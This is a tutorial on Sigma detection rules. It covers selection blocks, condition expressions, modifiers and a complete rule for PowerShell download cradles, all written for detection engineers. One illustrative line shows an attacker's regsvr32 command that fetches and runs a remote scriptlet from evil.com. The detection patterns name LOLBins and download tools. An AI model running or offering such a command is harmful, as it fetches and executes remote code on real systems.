Selection Blocks, Condition Expressions, and Modifiers

The detection block is where Sigma rules express their logic. Understanding selection blocks and condition expressions lets you write rules that are precise, readable, and composable — and understand how to tune them when they generate false positives.

The Detection Block Structure

detection:
  # Named selection blocks (define what to look for)
  selection_parent:
    ParentImage|endswith:
      - '\word.exe'
      - '\excel.exe'
      - '\outlook.exe'
  
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
  
  # Named filter blocks (define what to exclude)
  filter_legitimate:
    CommandLine|contains:
      - 'Office Click-to-Run'
      - 'Microsoft Office'
  
  # Condition: the logical expression combining blocks
  condition: selection_parent and selection_child and not filter_legitimate

This rule fires when: an Office application spawns a scripting engine (the threat) AND the command line does NOT match known-legitimate patterns (the FP suppression).

Value Lists: OR by Default

When a selection block has multiple values in a list, the default behavior is OR — any one value matches:

selection:
  Image|endswith:
    - '\cmd.exe'
    - '\powershell.exe'
    - '\wscript.exe'

This matches if Image ends with cmd.exe OR powershell.exe OR wscript.exe.

All of them must be present (AND): use the all modifier:

selection:
  CommandLine|contains|all:
    - '-NoProfile'
    - '-EncodedCommand'
    - '-WindowStyle Hidden'

This matches only when the CommandLine contains ALL three strings simultaneously. A PowerShell command with only -EncodedCommand would NOT match.

Modifier Reference

# String position modifiers
Image|endswith: '\powershell.exe'        # path ends with
CommandLine|startswith: 'powershell'     # value at start
CommandLine|contains: '-enc'             # anywhere in value

# Case behavior
CommandLine|contains: '-ENC'             # case-insensitive by default in most backends
CommandLine|contains|re: '(?i)-enc'      # explicit case-insensitive via regex

# Regex
TargetFilename|re: '.*\\AppData\\Local\\Temp\\[a-z]{8}\.exe$'

# All modifier (AND all values)
CommandLine|contains|all:
  - '-nop'
  - '-exec bypass'

# Windash modifier (match - or / prefix)
CommandLine|contains|windash:
  - '-enc'      # matches -enc AND /enc
  - '-nop'      # matches -nop AND /nop

Complex Condition Expressions

1-of-N pattern

detection:
  selection_regsvr32:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains:
      - '/i:http'
      - '/i:ftp'
  
  selection_rundll32:
    Image|endswith: '\rundll32.exe'
    CommandLine|re: '.*javascript:.*'
  
  selection_mshta:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'http://'
      - 'https://'
      - 'javascript:'
  
  condition: 1 of selection_*

This rule fires if ANY of the three LOLBin execution patterns matches. 1 of selection_* expands to (selection_regsvr32 OR selection_rundll32 OR selection_mshta).

Pipe operator for aggregation

detection:
  selection:
    EventID: 4625
  condition: selection | count() > 10

This fires when more than 10 events match selection within the time window. The | in the condition clause applies an aggregation function to the matched events.

# The attacker runs:
regsvr32.exe /u /s /i:http://evil.com/payload.sct scrobj.dll

# Sigma rule detects this via:
Image|endswith: '\regsvr32.exe'
CommandLine|contains:
  - '/i:http'   ← matches /i:http://evil.com/payload.sct

# After backend conversion (Elastic ECS):
process.name: "regsvr32.exe" AND process.command_line: */i\:http*

Writing a Complete Rule: PowerShell Download Cradle

title: PowerShell Download Cradle
id: 3b6ab547-8ec5-4bca-b60d-3197d2c6dee2
status: stable
description: Detects PowerShell downloading content from the internet using common download cradle patterns
references:
  - https://attack.mitre.org/techniques/T1059/001/
author: TDL Detection Team
date: 2024/03/15
tags:
  - attack.execution
  - attack.t1059.001
  - attack.command_and_control
  - attack.t1105
logsource:
  category: process_creation
  product: windows
detection:
  selection_img:
    Image|endswith: '\powershell.exe'
  
  selection_cli_webclient:
    CommandLine|contains|all:
      - 'New-Object'
      - 'Net.WebClient'
  
  selection_cli_iwr:
    CommandLine|contains:
      - 'Invoke-WebRequest'
      - 'wget'
      - 'curl'
  
  selection_cli_bitstransfer:
    CommandLine|contains: 'Start-BitsTransfer'
  
  filter_legitimate:
    CommandLine|contains:
      - 'WindowsUpdate'
      - 'MicrosoftUpdate'
      - 'download.windowsupdate.com'
  
  condition: selection_img and (1 of selection_cli_*) and not filter_legitimate

falsepositives:
  - Legitimate administrative scripts using PowerShell to download updates or tools
  - Software installers that use PowerShell for component download

level: medium

fields:
  - Image
  - CommandLine
  - ParentImage
  - User

Reading this rule:

• selection_img: must be PowerShell
• 1 of selection_cli_*: must use ANY one of the three download method patterns
• not filter_legitimate: must NOT be a known Windows update domain
• Result: PowerShell using any download method → alert, unless downloading from Windows update servers